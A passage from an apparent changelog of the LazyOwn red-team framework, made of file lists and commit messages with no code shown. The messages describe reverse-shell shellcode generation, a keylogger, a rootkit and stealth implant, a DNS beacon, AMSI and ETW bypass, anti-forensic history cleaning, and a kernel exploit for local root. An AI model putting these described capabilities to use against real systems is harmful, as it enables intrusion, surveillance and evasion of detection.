tests/test_packaging.py - tests/test_payload_factory.py - tests/test_reactive_lateral_data.py - tests/test_recon_plan.py - tests/test_safe_subprocess.py - tests/test_scope_bound_auto_gate.py - tests/test_trusted_proxy.py - tests/test_tui_theme_command.py - tests/test_tui_themes.py - tests/test_unified_dashboard.py - tests/test_vuln_mitigations.py - users.json - utils.py - yara_rules/README.md - yara_rules/cobalt_strike_beacon.yar - yara_rules/credential_theft.yar - yara_rules/persistence_mechanism.yar - yara_rules/reverse_shell_payload.yar - yara_rules/webshell_detection.yar\nDeleted file(s):\n- .c2_credentials.txt - graphify-out/GRAPH_REPORT.md - graphify-out/GRAPH_REPORT_LAZYOWN.md - graphify-out/README.md - graphify-out/cost.json - graphify-out/graph.html - graphify-out/graph.json - graphify-out/graph_lazyown.json - graphify-out/manifest.json - sessions/README.md\nCreated file(s):\n- banners/Lazy.png - banners/Lazy1.png - banners/Lazy2.png - cli/commands/anti_forensics.py - cli/commands/caldera.py - cli/commands/cloud.py - cli/commands/command_and_control_migrated.py - cli/commands/containers.py - cli/commands/cred.py - cli/commands/cred_migrated.py - cli/commands/database.py - cli/commands/evasive_payload.py - cli/commands/exploit.py - cli/commands/exploit_migrated.py - cli/commands/lateral.py - cli/commands/lateral_migrated.py - cli/commands/misc_migrated.py - cli/commands/mobile_macos.py - cli/commands/module_manager.py - cli/commands/payload_generation.py - cli/commands/persist.py - cli/commands/persist_migrated.py - cli/commands/phishing_wizard.py - cli/commands/pivoting.py - cli/commands/postexp.py - cli/commands/postexp_migrated.py - cli/commands/pwn.py - cli/commands/recon_migrated.py - cli/commands/report.py - cli/commands/report_migrated.py - cli/commands/reporting.py - cli/commands/resource_scripting.py - cli/commands/scan_migrated.py - cli/commands/supply_chain.py - core/credentials.py - core/http.py - core/network.py - core/parsers.py - core/process.py - deploy/README.md - docs/api_docs.html - lazyaddons/CVE-2026-25089.yaml - lazyaddons/adcs_attacks.yaml - lazyaddons/cloud_bucket_enum.yaml - lazyaddons/cloud_enum.yaml - lazyaddons/cloud_metadata.yaml - lazyaddons/container_escape.yaml - lazyaddons/docker_enum.yaml - lazyaddons/fakesystemD.yaml - lazyaddons/gitleaks.yaml - lazyaddons/k8s_enum.yaml - lazyaddons/phantom2.yaml - lazyaddons/shadow.yaml - lazyaddons/websocket_beacon.yaml - lazyaddons/yara_scanner.yaml - lazyc2/app_factory.py - lazyc2/blueprints/init.py - lazyc2/blueprints/api.py - lazyc2/blueprints/auth.py - lazyc2/blueprints/operations.py - lazyc2/blueprints/phishing.py - lazyc2/extensions/init.py - lazyc2/extensions/decoy.py - lazyc2/extensions/short_urls.py - lazyc2/extensions/storage.py - lazyc2/extensions/users.py - lazyc2/models.py - lazyc2/state.py - modules/init.py - modules/adcs_attacks.py - modules/ai_exploit_chain.py - modules/auto_pivot.py - modules/autonomous_exploit_engine.py - modules/c2_messaging_base.py - modules/cloud_enum.py - modules/dashboard_engine.py - modules/db.py - modules/detection_feed.py - modules/domain_dominance.py - modules/evasion_engine.py - modules/evasive_payloads.py - modules/exploit_chain.py - modules/exploit_recommender.py - modules/lazycloud.py - modules/lazyk8s.py - modules/lesson_ingestor.py - modules/logging_config.py - modules/module_registry.py - modules/operation.py - modules/payload_factory.py - modules/phishing_orchestrator.py - modules/planner.py - modules/professional_report.py - modules/resource_script.py - modules/rich_tui.py - modules/traffic_morpher.py - modules/ttp_coverage.py - modules/unified_dashboard.py - modules/unified_llm_client.py - modules/websocket_beacon.py - modules/yara_scanner.py - plugins/amsi_bypass.yaml - plugins/dotnet_reflection.yaml - plugins/etw_bypass.yaml - plugins/powershell_obfuscation.yaml - profiles/README.md - scripts/activate_migrations.py - scripts/fix_migrated_classes.py - scripts/migrate_lazyown.py - skills/tests/test_mcp_smoke.py - tests/test_db.py - tests/test_detection_feed.py - tests/test_engagement_command_gate.py - tests/test_lesson_ingestor.py - tests/test_migrate_lazyown_generator.py - tests/test_module_registry.py - tests/test_payload_factory.py - tests/test_reactive_lateral_data.py - tests/test_scope_bound_auto_gate.py - tests/test_unified_dashboard.py - yara_rules/README.md - yara_rules/cobalt_strike_beacon.yar - yara_rules/credential_theft.yar - yara_rules/persistence_mechanism.yar - yara_rules/reverse_shell_payload.yar - yara_rules/webshell_detection.yar\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: mié 29 jul 2026 21:29:08 -04 \n\n Hora: 1785374948

       Otros

       Otros

       • • unified dashboard, and some love

       Otros

       Otros

       • • Merge branch 'main' into feature/operator-ux-boost

       Otros

       Otros

       • • steel migrating the monolithic

       Otros

       Otros

       • • some bug fixing

       Otros

       Otros

       • • Merge pull request #201 from grisuno/dependabot/pip/tqdm-4.69.1

       Otros

       Otros

       • • Merge pull request #202 from grisuno/dependabot/pip/argcomplete-3.7.0

       Otros

       Otros

       • • Merge pull request #203 from grisuno/dependabot/pip/pyelftools-0.33

       Otros

       Otros

       • • Merge pull request #204 from grisuno/dependabot/pip/cffi-2.1.0

       Otros

       Otros

       • • Merge pull request #205 from grisuno/dependabot/pip/pyarrow-25.0.0

       Otros

       Otros

       • • good by monolothic :D

       Otros

       Otros

       • • chore(deps): bump pyarrow from 24.0.0 to 25.0.0

       Otros

       Otros

       • • chore(deps): bump cffi from 2.0.0 to 2.1.0

       Otros

       Otros

       • • chore(deps): bump pyelftools from 0.32 to 0.33

       Otros

       Otros

       • • chore(deps): bump argcomplete from 3.6.3 to 3.7.0

       Otros

       Otros

       • • chore(deps): bump tqdm from 4.67.3 to 4.69.1

       Otros

       Otros

       • • auto_pwn

       Otros

       Otros

       • • new dashboard topoloogy and exploit suggester

       Otros

       Otros

       • • some leetcode, better lining, refactoring, etc

       Otros

       Otros

       • • leetcode

       Otros

       Otros

       • • new command chain :D

       Otros

       Otros

       • • new command hunt :D

       Otros

       Otros

       • • now we got YARA Rules :D

       Otros

       Otros

       • • now we got YARA Rules :D

       Otros

       Otros

       • • 1. Dynamic Shellcode Patching — modules/payload_factory.py - DynamicShellcodePayload: nueva clase que genera shellcode desde cero, sin templates estáticos - linux/x64/shellcode_reverse_tcp: shellcode nativo null-free (~104 bytes) generado al vuelo con XOR dinámico para cualquier IP/puerto. Cero dependencia de msfvenom - _patch_shellcode_x64(): reemplaza placeholders \x01..\x08 y \x42\x42\x42\x42 en el template Windows x64 con IP/puerto reales - ShellcodePayload ahora acepta patcher para inyectar LHOST/LPORT automáticamente 2. DB Migration System — modules/db.py - MIGRATIONS: lista de migraciones incrementales (v2: índices, v3: columna cracked_at en creds, v4: índices en loot/notes/vulns) - _run_migrations(): aplica migraciones pendientes al iniciar, idempotente - migration_status(): expone {current, latest, pending} para diagnóstico 3. MCP Dispatch Table — skills/lazyown_mcp.py - _TOOL_HANDLERS dict + register_handler decorator: O(1) dispatch en vez de O(n) if/elif - 5 handlers migrados como ejemplo (get_config, get_llm_budget, set_config, list_modules, run_command) - Fallback automático al elif chain para handlers no migrados — cero riesgo de regresión - _dispatch_perm_check(): permission gate unificado para handlers registrados 4. Startup JSON Schema Validation — lazyown.py - Al cargar payload.json, se ejecuta load_and_validate() del schema existente en core/payload_schema.py - Errores (required fields faltantes) van a stderr con [payload] ERROR: - Warnings (tipos incorrectos) van a stderr con [payload] WARNING: - Envuelto en try/except — nunca crashea el startup

       Otros

       Otros

       • • Merge pull request #200 from grisuno/dependabot/pip/setuptools-83.0.0

       Otros

       Otros

       • • chore(deps): bump setuptools from 81.0.0 to 83.0.0

       Otros

       Otros

       • • Merge pull request #199 from grisuno/dependabot/pip/pyasn1-0.6.4

       Otros

       Otros

       • • modules/lazycloud.py — Cloud Attack Module (AWS, Azure, GCP), modules/lazyk8s.py — Container & Kubernetes Attack Module, and some bg fixing

       Otros

       Otros

       • • chore(deps): bump pyasn1 from 0.6.3 to 0.6.4

       Otros

       Otros

       • • Merge pull request #198 from grisuno/dependabot/pip/pillow-12.3.0

       Otros

       Otros

       • • chore(deps): bump pillow from 12.2.0 to 12.3.0

       Otros

       Otros

       • • security bug fixing, and much much love

       Otros

       Otros

       • • This project provides a complete, self‑contained emulation of systemd’s D‑Bus interface (org.freedesktop.systemd1) and sd_notify socket. It allows modern services that expect a full systemd environment to run without modification, even when systemd is not present (e.g., containers, lightweight VMs, or development environments).

       Otros

       Otros

       • • This project provides a complete, self‑contained emulation of systemd’s D‑Bus interface (org.freedesktop.systemd1) and sd_notify socket. It allows modern services that expect a full systemd environment to run without modification, even when systemd is not present (e.g., containers, lightweight VMs, or development environments).

       Otros

       Otros

       • • Phantom2 is a stealthy implant written in C that utilizes io_uring for asynchronous I/O, encrypted command and control (C2) communication, persistence mechanisms, and a keylogger. It is intended for educational and authorized penetration testing purposes only.

       Otros

       Otros

       • • Merge pull request #197 from grisuno/dependabot/pip/torch-2.13.0

       Otros

       Otros

       • • chore(deps): bump torch from 2.12.1 to 2.13.0

       Otros

       Otros

       • • Merge pull request #193 from grisuno/dependabot/pip/python-engineio-4.13.3

       Otros

       Otros

       • • Merge pull request #194 from grisuno/dependabot/pip/triton-3.7.1

       Otros

       Otros

       • • Merge pull request #192 from grisuno/dependabot/pip/cuda-bindings-13.3.1

       Otros

       Otros

       • • Merge pull request #191 from grisuno/dependabot/pip/nvidia-nvtx-13.3.29

       Otros

       Otros

       • • Merge pull request #195 from grisuno/dependabot/pip/certifi-2026.6.17

       Otros

       Otros

       • • docs: add app API reference to plugins README

       Otros

       Otros

       • • test: add MCP smoke test (10 checks) + add mcp dep to pyproject.toml

       Otros

       Otros

       • • perf: defer heavy imports from module-level to init time

       Otros

       Otros

       • • style: auto-fix 281 ruff issues in core/ and cli/

       Otros

       Otros

       • • refactor: partial wildcard -> explicit import (reverted, too many deps)

       Otros

       Otros

       • • docs: add API reference page from openapi.yaml

       Otros

       Otros

       • • refactor: consolidate sys.path.insert patterns across modules/skills

       Otros

       Otros

       • • refactor: replace from utils import * with explicit imports (66 symbols)

       Otros

       Otros

       • • chore: update secrets baseline + add profiles README

       Otros

       Otros

       • • docs: truncate README.md from 20k to 2.1k lines

       Otros

       Otros

       • • chore: clean creds, changelog, and coverage threshold

       Nuevas características

       Otros

       • • feat(c2): extract state.py and models.py from lazyc2.py

       Nuevas características

       Otros

       • • feat(cli): auto-generate 10 CommandSet files from lazyown.py via migration script

       Otros

       Otros

       • • chore(deps): bump certifi from 2026.4.22 to 2026.6.17

       Otros

       Otros

       • • chore(deps): bump triton from 3.6.0 to 3.7.1

       Otros

       Otros

       • • chore(deps): bump python-engineio from 4.13.2 to 4.13.3

       Otros

       Otros

       • • chore(deps): bump cuda-bindings from 13.2.0 to 13.3.1

       Otros

       Otros

       • • chore(deps): bump nvidia-nvtx from 13.0.85 to 13.3.29

       Otros

       Otros

       • • shadow a beacon over dns :D

       Otros

       Otros

       • • some bug fixing :D

       Otros

       Otros

       • • add forticlient CVE-2026-25089

       Otros

       Otros

       • • Security advisory some prints whit debug data :)

       Otros

       Otros

       • • Merge pull request #182 from grisuno/dependabot/pip/yagmail-0.16.0

       Otros

       Otros

       • • Merge pull request #183 from grisuno/dependabot/pip/coverage-7.15.2

       Otros

       Otros

       • • Merge pull request #184 from grisuno/dependabot/pip/typing-extensions-4.16.0

       Otros

       Otros

       • • Merge pull request #185 from grisuno/dependabot/pip/parso-0.8.7

       Otros

       Otros

       • • Merge pull request #186 from grisuno/dependabot/pip/lxml-6.1.1

       Otros

       Otros

       • • chore(deps): bump lxml from 6.1.0 to 6.1.1

       Otros

       Otros

       • • chore(deps): bump parso from 0.8.6 to 0.8.7

       Otros

       Otros

       • • chore(deps): bump typing-extensions from 4.15.0 to 4.16.0

       Otros

       Otros

       • • chore(deps): bump coverage from 7.13.5 to 7.15.2

       Otros

       Otros

       • • chore(deps): bump yagmail from 0.15.293 to 0.16.0

       Otros

       Otros

       • • payloads refactos

       Otros

       Otros

       • • more modularization of lazyown.py file

       Otros

       Otros

       • • more modularization of lazyown.py file

       Otros

       Otros

       • • more modularization of lazyc2.py file

       Otros

       Otros

       • • more modularization of lazyc2.py file

       Otros

       Otros

       • • more modularization of lazyc2.py file

       Otros

       Otros

       • • decostruction of the monolitic

       Otros

       Otros

       • • some improvements in linting

       Otros

       Otros

       • • We changed graphify for ReadMenator

       Otros

       Otros

       • • Security Advisory from code scan in soupsieve

       Otros

       Otros

       • • Security Advisory from code scan

       Otros

       Otros

       • • Security Advisory from code scan

       Otros

       Otros

       • • Contrib

       Otros

       Otros

       • • Merge branch 'main' of https://github.com/grisuno/LazyOwn

       Otros

       Otros

       • • Merge pull request #177 from grisuno/grisuno-patch-2

       Otros

       Otros

       • • Update CONTRIBUTING.md

       Pruebas

       Otros

       • • test(testing): test

       Otros

       Otros

       • • test: test

       Otros

       Otros

       • • orquestator of playbooks

       Otros

       Otros

       • • test: test

       Otros

       Otros

       • • database, module manager, some payload generation, resource scripting, and love

       Nuevas características

       Otros

       • • feat(feat): multinenant, extended params, cloud native attacks, junescape and much much love more \n\n Version: release/0.2.156 \n\n lazyown redteam red love \n\n Modified file(s):\n- .c2_credentials.txt - .github/workflows/agent-contract.yml - .github/workflows/attack_surface_scan.yml - .github/workflows/ci.yml - .github/workflows/codacy.yml - .github/workflows/docker-build.yml - .github/workflows/lint.yml - .github/workflows/pre-commit.yml - .github/workflows/publish-pypi.yml - .github/workflows/security.yml - .github/workflows/test.yml - .github/workflows/test_strict.yml - .gitignore - .secrets.baseline - Dockerfile - KNOWLEDGE_BASE.md - MANIFEST.in - cli/headless.py - docker-compose.yml - lazyaddons/Januscape.yaml - lazyaddons/cloudsploit.yaml - lazyaddons/grype.yaml - lazyaddons/prowler.yaml - lazyaddons/report_full.yaml - lazyaddons/scoutsuite.yaml - lazyaddons/trivy.yaml - lazyown.py - lazyscripts/attack_surface.ls - lazyscripts/cloud_enum.ls - lazyscripts/supply_chain.ls - modules/pipeline_engine.py - params/README.md - params/extended.yaml - payload.json - pipelines/attack_surface.yaml - pipelines/cloud_assessment.yaml - pipelines/supply_chain.yaml - profiles/attack_surface.yaml - profiles/cloud_scan.yaml - profiles/example.yaml - profiles/supply_chain_scan.yaml - pyproject.toml - scripts/validate_agent_contract.sh - tests/test_attack_surface_addons.py - users.json - utils.py\nCreated file(s):\n- .c2_credentials.txt - .github/workflows/agent-contract.yml - .github/workflows/attack_surface_scan.yml - .github/workflows/ci.yml - .github/workflows/docker-build.yml - .github/workflows/lint.yml - .github/workflows/pre-commit.yml - .github/workflows/publish-pypi.yml - .github/workflows/security.yml - .github/workflows/test.yml - .github/workflows/test_strict.yml - .secrets.baseline - Dockerfile - MANIFEST.in - cli/headless.py - docker-compose.yml - lazyaddons/cloudsploit.yaml - lazyaddons/grype.yaml - lazyaddons/prowler.yaml - lazyaddons/report_full.yaml - lazyaddons/scoutsuite.yaml - lazyaddons/trivy.yaml - lazyscripts/attack_surface.ls - lazyscripts/cloud_enum.ls - lazyscripts/supply_chain.ls - params/README.md - params/extended.yaml - pipelines/attack_surface.yaml - pipelines/cloud_assessment.yaml - pipelines/supply_chain.yaml - profiles/attack_surface.yaml - profiles/cloud_scan.yaml - profiles/example.yaml - profiles/supply_chain_scan.yaml - scripts/validate_agent_contract.sh - tests/test_attack_surface_addons.py\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: dom 12 jul 2026 01:17:06 -04 \n\n Hora: 1783833426

       Otros

       Otros

       • • cloud boost with grype prowler trivy scoutsuite cloudsploit stratus, a brand new params extender yaml awesome, pipelines, profiles, some bugfixing, and much much more

       Otros

       Otros

       • • Doc(creation documentation) a brand new KNOWLEDGE_BASE.md

       Otros

       Otros

       • • headless :D

       Otros

       Otros

       • • feature(feat): Multitentant, MFA, TOTP Generator, Multiusers, Colab and much much more. \n\n Version: release/0.2.155 \n\n with love \n\n Modified file(s):\n- KNOWLEDGE_BASE.md - README.md - cli/engagement_hooks.py - config.json - deploy/docker-compose.logging.yml - deploy/fluent-bit.conf - deploy/k8s/lazyown-c2.yaml - docs/openapi.yaml - lazyc2.py - lazyown.py - modules/collab_bp.py - modules/compliance.py - modules/lazy_rbac.py - modules/report_generator.py - modules/sessions/llm_budget.json - payloads/default_engagement.json - requirements.txt - templates/admin_tenants.html - templates/admin_users.html - templates/compliance.html - templates/mfa_setup.html - templates/mfa_verify.html - templates/profile.html - tests/test_core_modules.py - users.json\nCreated file(s):\n- KNOWLEDGE_BASE.md - config.json - deploy/docker-compose.logging.yml - deploy/fluent-bit.conf - deploy/k8s/lazyown-c2.yaml - docs/openapi.yaml - modules/compliance.py - modules/lazy_rbac.py - payloads/default_engagement.json - templates/admin_tenants.html - templates/admin_users.html - templates/compliance.html - templates/mfa_setup.html - templates/mfa_verify.html\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: sáb 11 jul 2026 18:49:54 -04 \n\n Hora: 1783810194

       Otros

       Otros

       • • Multitentant, MFA, TOTP Generator, Multiusers, Colab and much much more.

       Otros

       Otros

       • • Doc(creation documentation) a brand new KNOWLEDGE_BASE.md

       Otros

       Otros

       • • Update README.md

       Otros

       Otros

       • • Doc(creation documentation) a brand new KNOWLEDGE_BASE.md

       Correcciones

       Otros

       • • fix(fix): docker \n\n Version: release/0.2.154 \n\n some love in docker files \n\n Modified file(s):\n- .gitignore - CHANGELOG.md - CHEATSHEET.md - CLAUDE.md - README.md - cli/command_index.json - cli/commands/ai.py - cli/commands/recon.py - core/config.py - core/llm_budget.py - core/payload_schema.py - core/safe_subprocess.py - docs/SECURITY_CONTRACTS.md - external/install_external.sh - lazyaddons/BlackObsidianC2.yaml - lazyaddons/FreeDom.yaml - lazyaddons/Januscape.yaml - lazyaddons/LazyOwnOpenCodeAdapter.yaml - lazyaddons/beacon.yaml - lazyaddons/clean_local_history.yaml - lazyaddons/curlfree.yaml - lazyaddons/estorides.yaml - lazyaddons/keylogger.yaml - lazyaddons/packet_edit_meme.yaml - lazyaddons/pytbackdoorch.yaml - lazyaddons/shad0w.yaml - lazyaddons/vulns-2026-fatfs-chance.yaml - lazyc2.py - lazyc2/README.md - lazyc2/security/command_allowlist.py - lazyc2/security/cors.py - lazyc2/security/csrf.py - lazyc2/security/html_sanitizer.py - lazyc2/security/https_redirect.py - lazyc2/security/trusted_proxy.py - lazyown-docker/Dockerfile - lazyown-docker/README.md - lazyown-docker/docker-compose.yml - lazyown-docker/hostdiscover.sh - lazyown-docker/mkdocker.sh - lazyown.py - modules/hostdiscover.sh - modules/lazybotnet.py - modules/lazyhoneypot.py - modules/lazyownserver.py - modules/llm_factory.py - modules/rootkit/mrhyde3.c - modules/scripts/clean_history.sh.sh - modules/sessions/llm_budget.json - modules/wordlist/prompt.txt - payload.json - pwntomate.py - requirements-ml.txt - requirements.txt - skills/claude_md_orchestrator/README.md - skills/claude_md_orchestrator/SKILL.md - skills/claude_md_orchestrator/SPECS.md - skills/claude_md_orchestrator/init.py - skills/claude_md_orchestrator/bdd_agent.py - skills/claude_md_orchestrator/boy_scout.py - skills/claude_md_orchestrator/cicd_agent.py - skills/claude_md_orchestrator/config.py - skills/claude_md_orchestrator/contracts/ci_strict_mode.md - skills/claude_md_orchestrator/contracts/llm_budget_cap.md - skills/claude_md_orchestrator/documentation_agent.py - skills/claude_md_orchestrator/models.py - skills/claude_md_orchestrator/orchestrator.py - skills/claude_md_orchestrator/parser.py - skills/claude_md_orchestrator/reviewer_agent.py - skills/claude_md_orchestrator/sdd_agent.py - skills/claude_md_orchestrator/tdd_agent.py - skills/claude_md_orchestrator/tests/conftest.py - skills/claude_md_orchestrator/tests/test_orchestrator.py - skills/claude_md_orchestrator/validators.py - skills/lazyown.md - skills/lazyown_mcp.py - tests/test_aes_key_propagation.py - tests/test_ci_strict.py - tests/test_command_allowlist.py - tests/test_command_allowlist_behavior.py - tests/test_command_palette.py - tests/test_cors_behavior.py - tests/test_cors_policy.py - tests/test_cors_socketio_regression.py - tests/test_csrf_behavior.py - tests/test_csrf_policy.py - tests/test_html_sanitizer.py - tests/test_https_redirect.py - tests/test_llm_budget.py - tests/test_safe_subprocess.py - tests/test_safe_subprocess_behavior.py - tests/test_trusted_proxy.py - utils.py\nCreated file(s):\n- core/llm_budget.py - core/safe_subprocess.py - docs/SECURITY_CONTRACTS.md - lazyaddons/BlackObsidianC2.yaml - lazyaddons/FreeDom.yaml - lazyaddons/Januscape.yaml - lazyaddons/LazyOwnOpenCodeAdapter.yaml - lazyaddons/clean_local_history.yaml - lazyaddons/curlfree.yaml - lazyaddons/estorides.yaml - lazyaddons/keylogger.yaml - lazyaddons/packet_edit_meme.yaml - lazyaddons/pytbackdoorch.yaml - lazyaddons/shad0w.yaml - lazyaddons/vulns-2026-fatfs-chance.yaml - lazyc2/security/command_allowlist.py - lazyc2/security/cors.py - lazyc2/security/csrf.py - lazyc2/security/html_sanitizer.py - lazyc2/security/https_redirect.py - lazyc2/security/trusted_proxy.py - lazyown-docker/hostdiscover.sh - modules/rootkit/mrhyde3.c - modules/scripts/clean_history.sh.sh - modules/sessions/llm_budget.json - skills/claude_md_orchestrator/README.md - skills/claude_md_orchestrator/SKILL.md - skills/claude_md_orchestrator/SPECS.md - skills/claude_md_orchestrator/init.py - skills/claude_md_orchestrator/bdd_agent.py - skills/claude_md_orchestrator/boy_scout.py - skills/claude_md_orchestrator/cicd_agent.py - skills/claude_md_orchestrator/config.py - skills/claude_md_orchestrator/contracts/ci_strict_mode.md - skills/claude_md_orchestrator/contracts/llm_budget_cap.md - skills/claude_md_orchestrator/documentation_agent.py - skills/claude_md_orchestrator/models.py - skills/claude_md_orchestrator/orchestrator.py - skills/claude_md_orchestrator/parser.py - skills/claude_md_orchestrator/reviewer_agent.py - skills/claude_md_orchestrator/sdd_agent.py - skills/claude_md_orchestrator/tdd_agent.py - skills/claude_md_orchestrator/tests/conftest.py - skills/claude_md_orchestrator/tests/test_orchestrator.py - skills/claude_md_orchestrator/validators.py - tests/test_aes_key_propagation.py - tests/test_ci_strict.py - tests/test_command_allowlist.py - tests/test_command_allowlist_behavior.py - tests/test_cors_behavior.py - tests/test_cors_policy.py - tests/test_cors_socketio_regression.py - tests/test_csrf_behavior.py - tests/test_csrf_policy.py - tests/test_html_sanitizer.py - tests/test_https_redirect.py - tests/test_llm_budget.py - tests/test_safe_subprocess.py - tests/test_safe_subprocess_behavior.py - tests/test_trusted_proxy.py\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: jue 09 jul 2026 15:34:38 -04 \n\n Hora: 1783625678

       Otros

       Otros

       • • hotfix in dockerfile, docker compose, docker sccript to build image, and more love :D

       Otros

       Otros

       • • shadow read the shadow file without trace

       Otros

       Otros

       • • vulns-2026-fatfs-chance

       Otros

       Otros

       • • windows sdk headers

       Otros

       Otros

       • • Update README.md

       Otros

       Otros

       • • Update README.md

       Otros

       Otros

       • • junuscape :O

       Otros

       Otros

       • • Merge pull request #163 from grisuno/dependabot/pip/python-engineio-4.13.2

       Otros

       Otros

       • • chore(deps): bump python-engineio from 4.13.1 to 4.13.2

       Otros

       Otros

       • • Merge pull request #162 from grisuno/dependabot/pip/python-socketio-5.16.2

       Otros

       Otros

       • • chore(deps): bump python-socketio from 5.16.1 to 5.16.2

       Otros

       Otros

       • • updating lazyown.py do_form duplicated

       Otros

       Otros

       • • clean history command: clean_local_history

       Otros

       Otros

       • • thanks you very much to EQSTLab to provide the advisory :D thanks you bro changelog updated

       Otros

       Otros

       • • some warnings urlib deleted :D

       Otros

       Otros

       • • some security advisory patched thanks you very much to EQSTLab to provide the advisory :D thanks you bro

       Otros

       Otros

       • • lazyaddons PACKET_EDIT_MEME - aka CVE-2026-46331 net/sched act_pedit partial-COW page-cache corruption (culprit 899ee91156e5, present v5.18 .. fixed v7.1-rc7). packet_edit_meme.c turns it into unprivileged local root: a userns CAP_NET_ADMIN child overwrites the cached ELF entry of setuid-root /bin/su with setgid(0)+setuid(0)+execve(/bin/sh) shellcode.

       Otros

       Otros

       • • some love now we support curlfree command :D

       Otros

       Otros

       • • some love now we support mcp to opencode

       Otros

       Otros

       • • some love, aes_key in payload.json and some love to c2

       Otros

       Otros

       • • some love Black Obsidian is a next-generation C2 (Command & Control) server designed for professional Red Team operations. Built with Go and PocketBase, it offers a modern and specialized alternative to complex C2 servers while maintaining agility, security, and customization ease.

       Otros

       Otros

       • • hotfixing

       Otros

       Otros

       • • hotfixing

       Otros

       Otros

       • • bug fixing

       Otros

       Otros

       • • new skills, test, and new pytorch backdoor :D

       Otros

       Otros

       • • new rookit io_uring is a poc

       Otros

       Otros

       • • some tests of integration FreeDom in lazyown

       Otros

       Otros

       • • a brand new c keylogger :D

       Otros

       Otros

       • • update deepseek prompts wink wink

       Otros

       Otros

       • • update prompts wink wink

       Otros

       Otros

       • • Estorides comes to LazyOwn RedTeam to Reconnaissance like a nation state level

       Otros

       Otros

       • • Estorides comes to LazyOwn RedTeam to Reconnaissance like a nation state level

       Otros

       Otros

       • • add pompem in ss pipeline

       Pruebas

       Otros

       • • test(test): test pipe line deply \n\n Version: release/0.2.152 \n\n with love \n\n Modified file(s):\n- CLAUDE.md - COMMANDS.md - ESSENTIALS.md - QUICKSTART.md - cli/command_index.json - cli/splash.py - cli/style.py - cli/themes.py - cli/tui_theme.py - docs/COMMANDS.html - lazyown.py - tests/test_command_palette.py - tests/test_tui_splash.py - tests/test_tui_style.py - tests/test_tui_theme_command.py - tests/test_tui_themes.py\nCreated file(s):\n- cli/splash.py - cli/style.py - cli/tui_theme.py - tests/test_tui_splash.py - tests/test_tui_style.py - tests/test_tui_theme_command.py - tests/test_tui_themes.py\n LazyOwn on HackTheBox: https://app.hackthebox.com/teams/overview/6429 \n\n LazyOwn/ https://grisuno.github.io/LazyOwn/ \n\n \n\n Fecha: mar 16 jun 2026 23:11:29 -04 \n\n Hora: 1781665889

       Otros

       Otros

       • • Merge branch 'pp' into dev

       Otros

       Otros

       • • Merge branch 'docs/engage-fastpath' into dev

       Otros

       Otros

       • • Merge branch 'chore/cli-print-hygiene' into dev

       Documentación

       Otros

       • • docs(onboarding): surface the engage one-command fast-path

       Otros

       Otros

       • • chore(cli): print hygiene + remove C2 credential leak in lazyown.py

       Nuevas características

       Otros

       • • feat(tui): wire tui_theme command and first-run splash into the shell

       Nuevas características

       Otros

       • • feat(tui): add animated splash overlay for first-run experience

       Nuevas características

       Otros

       • • feat(tui): add tui_theme command logic with cycle/prev/reset

       Nuevas características

       Otros

       • • feat(tui): add solarized, monokai, gruvbox, high_contrast themes

       Nuevas características

       Otros

       • • feat(tui): add cli/style semantic token layer over themes

       Refactorización

       Otros

       • • refactor(refactor): some love to the code, no features news, but refactor. \n\n Version: release/0.2.151 \n\n with love \n\n Modified file(s):\n- .gitignore - CLAUDE.md - QUICKSTART.md - README.md - UTILS.md - cli/command_index.json - core/README.md - core/init.py - core/dependencies.py - docs/UTILS.html - graphify-out/.graphify_analysis_lazyown.json - graphify-out/.graphify_ast_focused.json - graphify-out/.graphify_chunk_02.json - graphify-out/.graphify_chunk_04.json - graphify-out/.graphify_chunk_07.json - graphify-out/.graphify_chunk_09.json - graphify-out/.graphify_chunk_11.json - graphify-out/.graphify_chunk_13.json - graphify-out/.graphify_chunk_14.json - graphify-out/.graphify_chunk_15.json - graphify-out/.graphify_chunk_16.json - graphify-out/.graphify_chunks.json - graphify-out/.graphify_detect_focused.json - graphify-out/.graphify_python - graphify-out/README.md - graphify-out/cache/01702100c0971042314c03d56fff92cb25988d38c432a42fecc61c786bc8ade6.json - graphify-out/cache/031e8f5e7fd55b2c0db4c2eedcc353706daed78f368eed868c8c58262e9bef73.json - graphify-out/cache/032c16c926dfb9ca396b8ad6a0e3a90242faa5255f45ba81633645d1bcad47d2.json - graphify-out/cache/04645e2e40ed867c620396c786c886965ce85dc0fa31f4810fe47fc440faa14f.json - graphify-out/cache/0482e1126bd734dc2d95c16ec57aecde20bd77cffe1bd03b4e268e59c5bbb52c.json - graphify-out/cache/04b81d9eb5fe5e267b8d23620163a1e1eaaa85ab6086fda5f6730f2e6d0df3f1.json - graphify-out/cache/04bad0a88c727f42f0d20fb8568e421bf0a19054604393072252a993708eb0ae.json - graphify-out/cache/05d0058b7b7ffee38accd7302a630910db73a78a1b984a5d4eeb79d50588a6e8.json - graphify-out/cache/0629fca57b461f18881d90550cafae11789e45d50b5a59a1c90cc281bf629edc.json - graphify-out/cache/06b82f281d54d0a539a52866cb272936c1f6a4e90c39272830a035ff543f9f02.json - graphify-out/cache/06dee47a456c807964a4f51d2243056cfd0ea9177d31b261588c1d4487a497b3.json - graphify-out/cache/079eb911fa61d31016bd1d1f937a2da27ff1857802dd1e5afa92c7be73ce98a6.json - graphify-out/cache/07c1bffda5afe6f60f7ccb4e617be7cd543b4eae4141fbd9c045831a99eb6eeb.json - graphify-out/cache/07de6a9f9d0654633dd3a76d3807a1347328e13ef77f4dc7e5a0f89fd1354d30.json - graphify-out/cache/083ce22dd3b6c00d45e3f54a378bfd741d15263d149dc7514d42f28cccb84e20.json - graphify-out/cache/089e43efe29f124b80fc8144fcbad3384c36eb185d7eb38f5b3905c3793de9a3.json - graphify-out/cache/08fefb331b7de4cead158721c8ec6ec430b920afbea4757912fc34657ab9abb6.json - graphify-out/cache/09cd042a93c9bf9ed60a6c8d930b86358f21f334b9e356cd51e87e52ab43d0bb.json - graphify-out/cache/0abad2644a5f511f96d078ff2a01781d69f1abdae30017998a9a42aa95a18147.json - 